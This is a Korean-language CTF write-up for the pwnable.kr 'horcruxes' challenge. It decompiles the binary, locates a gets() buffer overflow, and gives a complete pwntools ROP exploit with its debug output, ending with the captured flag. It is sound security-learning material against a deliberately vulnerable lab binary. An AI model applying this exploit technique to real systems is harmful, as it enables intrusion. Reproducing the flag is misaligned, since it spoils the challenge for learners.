문제 설명을 보면 ROP로 푸는 문제인거 같다.
서버에 접속하면 readme와 바이너리만 주어진다.
horcruxes@pwnable:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.
readme를 읽어보면 9032포트에서 프로그램이 실행중이고 rop를 이용해 flag를 읽으라고 한다.
c코드가 없으니 바이너리를 분석해야 한다. gdb로 분석하는건 에바니 scp로 다운받아서 ghidra를 이용해 분석했다.
void main(void)
{
undefined4 uVar1;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
alarm(0x3c);
hint();
init_ABCDEFG();
uVar1 = seccomp_init(0);
seccomp_rule_add(uVar1,0x7fff0000,0xad,0);
seccomp_rule_add(uVar1,0x7fff0000,5,0);
seccomp_rule_add(uVar1,0x7fff0000,3,0);
seccomp_rule_add(uVar1,0x7fff0000,4,0);
seccomp_rule_add(uVar1,0x7fff0000,0xfc,0);
seccomp_load(uVar1);
ropme();
return;
}
일단 메인을 보면 hint라는 함수 호출하고 init_ABCDEFG라는 함수 호출 후 seccomp도 걸리는거 같고 마지막에 ropme라는 함수를 실행한다.
의심스러운 함수가 3개니 천천히 살펴보자
void hint(void)
{
puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
puts("Find all horcruxes, and destroy it!\n");
return;
}
일단 hint함수는 아무것도 안하고 그냥 진짜 힌트 출력용함수다.
void init_ABCDEFG(void)
{
ssize_t sVar1;
int iVar2;
uint local_14;
int local_10;
local_10 = open("/dev/urandom",0);
sVar1 = read(local_10,&local_14,4);
if (sVar1 != 4) {
puts("/dev/urandom error");
/* WARNING: Subroutine does not return */
exit(0);
}
close(local_10);
srand(local_14);
iVar2 = rand();
a = iVar2 * -0x21524111 + (uint)(0xcafebabd < (uint)(iVar2 * -0x21524111)) * 0x35014542;
iVar2 = rand();
b = iVar2 * -0x21524111 + (uint)(0xcafebabd < (uint)(iVar2 * -0x21524111)) * 0x35014542;
iVar2 = rand();
c = iVar2 * -0x21524111 + (uint)(0xcafebabd < (uint)(iVar2 * -0x21524111)) * 0x35014542;
iVar2 = rand();
d = iVar2 * -0x21524111 + (uint)(0xcafebabd < (uint)(iVar2 * -0x21524111)) * 0x35014542;
iVar2 = rand();
e = iVar2 * -0x21524111 + (uint)(0xcafebabd < (uint)(iVar2 * -0x21524111)) * 0x35014542;
iVar2 = rand();
f = iVar2 * -0x21524111 + (uint)(0xcafebabd < (uint)(iVar2 * -0x21524111)) * 0x35014542;
iVar2 = rand();
g = iVar2 * -0x21524111 + (uint)(0xcafebabd < (uint)(iVar2 * -0x21524111)) * 0x35014542;
sum = g + a + b + c + d + e + f;
return;
}
init_ABCDEFG함수는 뭔가 랜덤으로 암호화된 값을 각각 a,b,c,d,e,f,g변수에 할당하고 그걸 다 더해서 sum이라는 변수에 넣는다.
undefined4 ropme(void)
{
int iVar1;
ssize_t sVar2;
char local_78 [100];
int local_14;
int local_10;
printf("Select Menu:");
__isoc99_scanf(&DAT_080a0519,&local_14);
getchar();
if (local_14 == a) {
A();
}
else if (local_14 == b) {
B();
}
else if (local_14 == c) {
C();
}
else if (local_14 == d) {
D();
}
else if (local_14 == e) {
E();
}
else if (local_14 == f) {
F();
}
else if (local_14 == g) {
G();
}
else {
printf("How many EXP did you earned? : ");
gets(local_78);
iVar1 = atoi(local_78);
if (iVar1 == sum) {
local_10 = open("flag",0);
sVar2 = read(local_10,local_78,100);
local_78[sVar2] = '\0';
puts(local_78);
close(local_10);
/* WARNING: Subroutine does not return */
exit(0);
}
puts("You\'d better get more experience to kill Voldemort");
}
return 0;
}
ropme 함수는 값을 하나 입력받고 조건문에 따라 뭔가 함수들을 여러개 실행한다.
밑으로 내려가면 가장 중요한 부분인 플래그를 출력해주는 로직이 보인다.
일단 gets로 입력받아서 bof가 터진다 저기서 ROP를 트리거하면 될거같다.
그리고 우리가 입력한 값이랑 아까 init_ABCDEFG에서의 sum이랑 값을 비교해 같다면 플래그를 출력해주는 코드인거같다.
일단 A,B...함수들을 보자.
void A(void)
{
printf("You found \"Tom Riddle\'s Diary\" (EXP +%d)\n",a);
return;
}
그냥 다 단순히 호크룩스에 관련된 문자열과 a,b,c,d,e,f,g변수를 출력해주는 함수이다.
여기서 생각해보면 우리는 a,b,c,d,e,f,g변수를 다 더한 sum의 값을 알아야한다.
그렇다면 rop로 a,b,c,d,e,f,g함수를 순차적으로 호출해 변수의 값들을 알아내고 다시 ropme로 돌아와 알아낸 sum의 값을 입력하면 될거같다.
그럼 ret주소와 버퍼 시작주소 오프셋을 구해보자!
gdb-peda$ x/100wx 0xffffdb24
0xffffdb24: 0x41414141 0x41414141 0x080a3000 0x0000003c
0xffffdb34: 0x00000001 0xf7fab500 0xf7fab23d 0xf7fab319
0xffffdb44: 0x080a3008 0x080a3070 0xf0c68600 0x080a3008
0xffffdb54: 0xf7fa34b0 0xf7fa5b49 0xf7fc4000 0x080a3008
0xffffdb64: 0xf7f9f000 0xffffdbb8 0xf7fa4b3c 0x080a3008
0xffffdb74: 0x00000000 0x00000000 0xf7fa4af0 0xf7fa4af7
0xffffdb84: 0x00000000 0xf7f9f000 0x0809fff9 0x080a3008
0xffffdb94: 0x7fff0000 0xffffdbb8 0x080a0001 0x00000001
0xffffdba4: 0xffffdc64 0xffffdc6c 0x080a3008 0xf7f9f3dc
0xffffdbb4: 0xffffdbd0 0x00000000 0xf7e04647 0xf7f9f000
0xffffdbc4: 0xf7f9f000 0x00000000 0xf7e04647 0x00000001
0xffffdbd4: 0xffffdc64 0xffffdc6c 0x00000000 0x00000000
0xffffdbe4: 0x00000000 0xf7f9f000 0xf7ffdc04 0xf7ffd000
0xffffdbf4: 0x00000000 0xf7f9f000 0xf7f9f000 0x00000000
0xffffdc04: 0xc68d8d9b 0xf9b6238b 0x00000000 0x00000000
0xffffdc14: 0x00000000 0x00000001 0x0809fd50 0x00000000
0xffffdc24: 0xf7fee010 0xf7fe8880 0xf7ffd000 0x00000001
0xffffdc34: 0x0809fd50 0x00000000 0x0809fd71 0x0809ff24
0xffffdc44: 0x00000001 0xffffdc64 0x080a0350 0x080a03b0
0xffffdc54: 0xf7fe8880 0xffffdc5c 0xf7ffd918 0x00000001
0xffffdc64: 0xffffdd83 0x00000000 0xffffdd9d 0xffffddb3
0xffffdc74: 0xffffddc3 0xffffddd7 0xffffddfc 0xffffde10
0xffffdc84: 0xffffde1f 0xffffde2b 0xffffde93 0xffffdeac
0xffffdc94: 0xffffdebb 0xffffdecf 0xffffdee0 0xffffdee9
0xffffdca4: 0xffffdefe 0xffffdf06 0xffffdf21 0xffffdf33
gdb-peda$ p/x 0xffffdb9b
$1 = 0xffffdb9b
gdb-peda$ x/x 0xffffdb9b
0xffffdb9b: 0x0a0001ff
gdb-peda$ x/x 0xffffdb9a
0xffffdb9a: 0x0001ffff
gdb-peda$ x/x 0xffffdb9c
0xffffdb9c: 0x080a0001
gdb-peda$ p/x 0xffffdb9c - 0xffffdb24
$2 = 0x78
gdb로 분석하면 0x78이라는 것을 알 수있다.
from pwn import *
p = remote('0', 9032)
e = ELF('/home/horcruxes/horcruxes')
context.log_level = "debug"
p.sendlineafter('Menu:', '1')
payload = b'A' * 0x78 + p32(e.symbols['A']) + p32(e.symbols['B']) + p32(e.symbols['C']) + p32(e.symbols['D']) + p32(e.symbols['E']) + p32(e.symbols['F']) + p32(e.symbols['G']) + p32(0x0809fffc)
p.sendlineafter('earned? : ', payload)
p.recvuntil('Voldemort\n')
sum1 = 0
for i in range(7):
p.recvuntil('(EXP +')
sum1 += int(p.recvuntil(')')[:-1],10)
p.sendlineafter('Menu:', '1')
p.sendlineafter('earned? : ', str(sum1))
p.interactive()
페이로드를 짜주고 실행시키면?
horcruxes@pwnable:/tmp/kimg00n$ python ex.py
[+] Opening connection to 0 on port 9032: Done
[*] '/home/horcruxes/horcruxes'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x809f000)
[DEBUG] Received 0x6b bytes:
'Voldemort concealed his splitted soul inside 7 horcruxes.\n'
'Find all horcruxes, and destroy it!\n'
'\n'
'Select Menu:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x1f bytes:
'How many EXP did you earned? : '
[DEBUG] Sent 0x99 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000070 41 41 41 41 41 41 41 41 4b fe 09 08 6a fe 09 08 │AAAA│AAAA│K···│j···│
00000080 89 fe 09 08 a8 fe 09 08 c7 fe 09 08 e6 fe 09 08 │····│····│····│····│
00000090 05 ff 09 08 fc ff 09 08 0a │····│····│·│
00000099
[DEBUG] Received 0x32 bytes:
"You'd better get more experience to kill Voldemort"
[DEBUG] Received 0x170 bytes:
'\n'
'You found "Tom Riddle\'s Diary" (EXP +310597305)\n'
'You found "Marvolo Gaunt\'s Ring" (EXP +780792662)\n'
'You found "Helga Hufflepuff\'s Cup" (EXP +-944692171)\n'
'You found "Salazar Slytherin\'s Locket" (EXP +-1797428319)\n'
'You found "Rowena Ravenclaw\'s Diadem" (EXP +377673922)\n'
'You found "Nagini the Snake" (EXP +-1119497736)\n'
'You found "Harry Potter" (EXP +2081527501)\n'
'Select Menu:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x1f bytes:
'How many EXP did you earned? : '
[DEBUG] Sent 0xb bytes:
'-311026836\n'
[*] Switching to interactive mode
[DEBUG] Received 0x1e bytes:
'Magic_spell_1s_4vad4_K3daVr4!\n'
Magic_spell_1s_4vad4_K3daVr4!
flag: Magic_spell_1s_4vad4_K3daVr4!
아바다 케다브라!